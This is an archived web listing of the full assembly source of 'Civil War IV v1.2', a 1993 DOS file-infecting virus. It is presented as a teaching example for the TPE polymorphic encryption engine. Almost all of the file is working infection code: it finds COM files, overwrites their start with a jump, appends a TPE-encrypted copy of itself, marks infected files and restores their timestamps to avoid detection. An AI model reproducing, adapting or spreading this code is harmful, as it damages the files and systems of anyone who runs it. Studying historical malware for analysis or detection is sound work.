home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CIVIL_4C.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  7KB  |  198 lines

  1. ;****************************************************************************
  2. ;*   Civil War IV v1.2                                                      *
  3. ;*                                                                          *
  4. ;*   Assembled with Tasm 2.5                                                *
  5. ;*                                                                          *
  6. ;*   (c) Jan '93 by Dark Helmet, The Netherlands.                           *
  7. ;*   The author takes no responsibilty for any damages caused by the virus  *
  8. ;*                                                                          *
  9. ;*   This is a example virus with the TPE engine for teaching you how to    *
  10. ;*   use the TPE engine.                                                    *
  11. ;*                                                                          *
  12. ;*--------------------------------------------------------------------------*
  13. ;*                                                                          *
  14. ;* Notes:                                                                   *
  15. ;*                                                                          *
  16. ;* This virus is NOT dedicated to Sara Gordon, but to all the innocent      *
  17. ;* people who are killed in Yugoslavia.                                     *
  18. ;*                                                                          *   
  19. ;* The text in the virus is taken from the song Civil War (hence the name)  *
  20. ;* by Guns and Roses, Use Your Illusion II, we hope they don't mind it.     *
  21. ;*                                                                          *
  22. ;* The first name for the virus was NAVIGATOR II, because the virus is      *
  23. ;* based on the NAVIGATOR virus (also written by me, a while back), but     *
  24. ;* since I decided to put the songtext in it I renamed it to Civil War IV   *
  25. ;*                                                                          *
  26. ;* You need the TPE 1.3 engine to link this program.                        *                                                                               *
  27. ;*                                                                          *   
  28. ;****************************************************************************
  29.  
  30.         .model tiny
  31.         .radix 16
  32.         .code
  33.         
  34.         extrn   rnd_init:near
  35.         extrn   rnd_get:near
  36.         extrn   crypt:near
  37.         extrn   tpe_top:near
  38.  
  39.         org 100h
  40.  
  41. len             equ offset tpe_top - begin 
  42.  
  43. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  44.  
  45. Begin:          call virus                      ; calculate delta offset
  46.  
  47. Virus:          pop bp
  48.         sub bp,offset virus
  49.         
  50.         mov dx,0fe00h                   ; DTA instellen
  51.         mov ah,1ah
  52.         int 21h
  53.         
  54. Restore_begin:  call rnd_init                   ; init random generator
  55.         mov di,0100h
  56.         lea si,ds:[buffer+bp]
  57.         mov cx,06h
  58.         rep movsb
  59.                 
  60. First:          lea dx,[com_mask+bp]            ;get first COM file 
  61.         mov ah,04eh
  62.         xor cx,cx
  63.         int 21h
  64.  
  65. Open_file:      call rnd_get    
  66.         mov ax,03d02h                   ;open for READ/WRITE
  67.         mov dx,0fe1eh
  68.         int 21h
  69.         mov [handle+bp],ax
  70.         xchg ax,bx
  71.  
  72. Read_date:      mov ax,05700h                   ;store date/time for later
  73.         int 21h                         ;use
  74.         mov [date+bp],dx
  75.         mov [time+bp],cx
  76.  
  77. Check_infect:   mov bx,[handle+bp]              ;check if initials present in   
  78.         mov ah,03fh                     ;file
  79.         mov cx,06h
  80.         lea dx,[buffer+bp]
  81.         int 21h
  82.  
  83.         mov al,byte ptr [buffer+bp]+3   ;Compare initials
  84.         mov ah,byte ptr [buffer+bp]+4 
  85.         cmp ax,[initials+bp]
  86.         jne infect_file                 ;if initials not present
  87.                         ;start infecting file
  88.  
  89. Close_file:     mov bx,[handle+bp]              ;close file
  90.         mov ah,3eh
  91.         int 21h
  92.  
  93. Next_file:      mov ah,4fh                      ;get next COM file
  94.         int 21h                         ;in directorie
  95.         jnb open_file
  96.         jmp exit
  97.  
  98. Infect_file:    mov ax,word ptr [cs:0fe1ah]     ;get lenght of file
  99.         sub ax,03h
  100.         mov [lenght+bp],ax
  101.         mov ax,04200h                   ;goto begin of file
  102.         call move_pointer
  103.         
  104. Write_jump:     mov ah,40h                      ;Write JUMP intruction
  105.         mov cx,01h
  106.         lea dx,[jump+bp]
  107.         int 21h
  108.  
  109.         mov ah,40h                      ;Write JUMP offset
  110.         mov cx,02h
  111.         lea dx,[lenght+bp]
  112.         int 21h
  113.  
  114.         mov ah,40                       ;Write initials to check
  115.         mov cx,02h                      ;for infection later 
  116.         lea dx,[initials+bp]
  117.         int 21h
  118.         
  119.         mov  ax,4202h                   ; move to end of file
  120.         call move_pointer               ; for infection
  121.  
  122. ;*****************************************************************************
  123. ;                               T P E                                        *
  124. ;*****************************************************************************
  125.      
  126. Encrypt:        push bp                         ; BP = delta offset
  127.                         ; push delta offset on stack
  128.                         ; for later use.
  129.  
  130.         mov ax,cs                       ; Calculate worksegment                 
  131.         add ax,01000h
  132.         mov es,ax                       ; ES point to decrypt virus
  133.         
  134.         lea dx,[begin+bp]               ; DS:DX begin encryption
  135.  
  136.         mov cx,len                      ; virus lenght  
  137.                         
  138.         mov bp,[lenght+bp]              ; decryption starts at this 
  139.         add bp,103h                     ; point
  140.  
  141.         xor si,si                       ; distance between decryptor
  142.                         ; and encrypted code is 0 bytes
  143.  
  144.         call rnd_get                    ; AX = random value
  145.         call crypt                      ; encrypt virus
  146.  
  147.         pop bp                          ; BP = delta offset
  148.                         ; get delta offset of stack
  149.  
  150. ;******************************************************************************
  151. ;                               T P E - E N D                                 *
  152. ;******************************************************************************
  153.  
  154. Write_virus:    mov bx,[handle+bp]
  155.         mov ah,40h
  156.         int 21h
  157.  
  158. Restore_date:   mov ax,05701h
  159.         mov bx,[handle+bp]
  160.         mov cx,[time+bp]
  161.         mov dx,[date+bp]
  162.         int 21h
  163.  
  164. Exit:           mov ax,cs
  165.         mov ds,ax
  166.         mov es,ax               
  167.         mov bx,0100h                    ; jump to start program
  168.         jmp bx
  169.  
  170. ;----------------------------------------------------------------------------
  171.  
  172. move_pointer:   mov bx,[handle+bp]
  173.         xor cx,cx
  174.         xor dx,dx
  175.         int 21h
  176.         ret
  177.         
  178. ;----------------------------------------------------------------------------
  179. v_name          db "Civil War IV v1.2, (c) Jan '93 "
  180. com_mask        db "*.com",0
  181. handle          dw ?
  182. date            dw ?
  183. time            dw ?
  184. buffer          db 090h,0cdh,020h,044h,048h,00h
  185. initials        dw 4844h         
  186. lenght          dw ?
  187. jump            db 0e9h,0
  188. message         db "For all i've seen has changed my mind"
  189.         db "But still the wars go on as the years go by"
  190.         db "With no love of God or human rights"
  191.         db "'Cause all these dreams are swept aside"
  192.         db "By bloody hands of the hypnotized"
  193.         db "Who carry the cross of homicide"
  194.         db "And history bears the scars of our Civil Wars." 
  195. writer          db "[ DH / TridenT ]",00
  196.  
  197.         end  dummy
  198.